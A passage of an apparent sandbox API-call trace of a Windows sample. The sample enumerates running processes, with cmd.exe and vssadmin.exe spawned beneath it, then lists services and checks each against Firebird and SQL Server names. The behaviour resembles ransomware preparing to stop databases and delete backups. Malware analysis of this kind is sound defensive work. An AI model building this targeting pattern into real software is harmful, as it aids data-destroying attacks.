th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.268] lstrlenW (lpString="svchost.exe") returned 11 [0049.268] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.268] lstrlenW (lpString="audiodg.exe") returned 11 [0049.268] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.269] lstrlenW (lpString="svchost.exe") returned 11 [0049.269] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.269] lstrlenW (lpString="svchost.exe") returned 11 [0049.269] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.269] lstrlenW (lpString="dwm.exe") returned 7 [0049.269] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.270] lstrlenW (lpString="explorer.exe") returned 12 [0049.270] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.270] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.270] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.270] lstrlenW (lpString="taskhost.exe") returned 12 [0049.271] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.271] lstrlenW (lpString="svchost.exe") returned 11 [0049.271] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.271] lstrlenW (lpString="taskeng.exe") returned 11 [0049.271] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.272] lstrlenW (lpString="taskhost.exe") returned 12 [0049.272] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0049.272] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0049.272] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0049.273] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0049.273] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0049.273] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0049.273] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0049.274] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0049.274] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0049.274] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0049.274] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0049.274] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0049.274] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0049.275] lstrlenW (lpString="toyota.exe") returned 10 [0049.275] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0049.275] lstrlenW (lpString="radiation.exe") returned 13 [0049.275] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0049.275] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0049.275] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0049.276] lstrlenW (lpString="ur illustration.exe") returned 19 [0049.276] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0049.276] lstrlenW (lpString="facing.exe") returned 10 [0049.276] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0049.276] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0049.276] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0049.277] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0049.277] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0049.277] lstrlenW (lpString="headline.exe") returned 12 [0049.277] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0049.277] lstrlenW (lpString="army_unsigned.exe") returned 17 [0049.278] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0049.278] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0049.278] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0049.278] lstrlenW (lpString="distribution-gif.exe") returned 20 [0049.278] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0049.278] lstrlenW (lpString="tribunal.exe") returned 12 [0049.279] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0049.279] lstrlenW (lpString="aafeof.exe") returned 10 [0049.279] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0049.279] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0049.279] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0049.280] lstrlenW (lpString="encryption.exe") returned 14 [0049.280] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.280] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.280] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0049.280] lstrlenW (lpString="1с_.exe") returned 7 [0049.280] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.281] lstrlenW (lpString="cmd.exe") returned 7 [0049.281] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.281] lstrlenW (lpString="conhost.exe") returned 11 [0049.281] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.281] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.281] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.282] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.282] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0049.282] CloseHandle (hObject=0x1e8) returned 1 [0049.282] Sleep (dwMilliseconds=0x1f4) [0050.127] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58ffb0 [0050.163] EnumServicesStatusExW (in: hSCManager=0x58ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0050.163] GetLastError () returned 0xea [0050.163] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x39606f0 [0050.163] EnumServicesStatusExW (in: hSCManager=0x58ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39606f0, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39606f0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0050.164] CloseServiceHandle (hSCObject=0x58ffb0) returned 1 [0050.164] lstrlenW (lpString="Appinfo") returned 7 [0050.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.165] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.165] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.165] lstrlenW (lpString="AudioSrv") returned 8 [0050.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.165] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.165] lstrlenW (lpString="BFE") returned 3 [0050.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.165] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.165] lstrlenW (lpString="CryptSvc") returned 8 [0050.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.165] lstrlenW (lpString="CscService") returned 10 [0050.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.166] lstrlenW (lpString="DcomLaunch") returned 10 [0050.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.166] lstrlenW (lpString="Dhcp") returned 4 [0050.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.166] lstrlenW (lpString="Dnscache") returned 8 [0050.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.166] lstrlenW (lpString="DPS") returned 3 [0050.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.167] lstrlenW (lpString="eventlog") returned 8 [0050.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.167] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.167] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.167] lstrlenW (lpString="EventSystem") returned 11 [0050.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.167] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.167] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.167] lstrlenW (lpString="gpsvc") returned 5 [0050.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.167] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.167] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.167] lstrlenW (lpString="iphlpsvc") returned 8 [0050.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.167] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.167] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.168] lstrlenW (lpString="LanmanServer") returned 12 [0050.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.168] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.168] lstrlenW (lpString="lmhosts") returned 7 [0050.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.168] lstrlenW (lpString="MMCSS") returned 5 [0050.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.168] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.168] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.169] lstrlenW (lpString="MpsSvc") returned 6 [0050.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.169] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.169] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.169] lstrlenW (lpString="Netman") returned 6 [0050.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.169] lstrlenW (lpString="netprofm") returned 8 [0050.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.169] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.169] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.169] lstrlenW (lpString="NlaSvc") returned 6 [0050.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.169] lstrlenW (lpString="nsi") returned 3 [0050.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.170] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.170] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 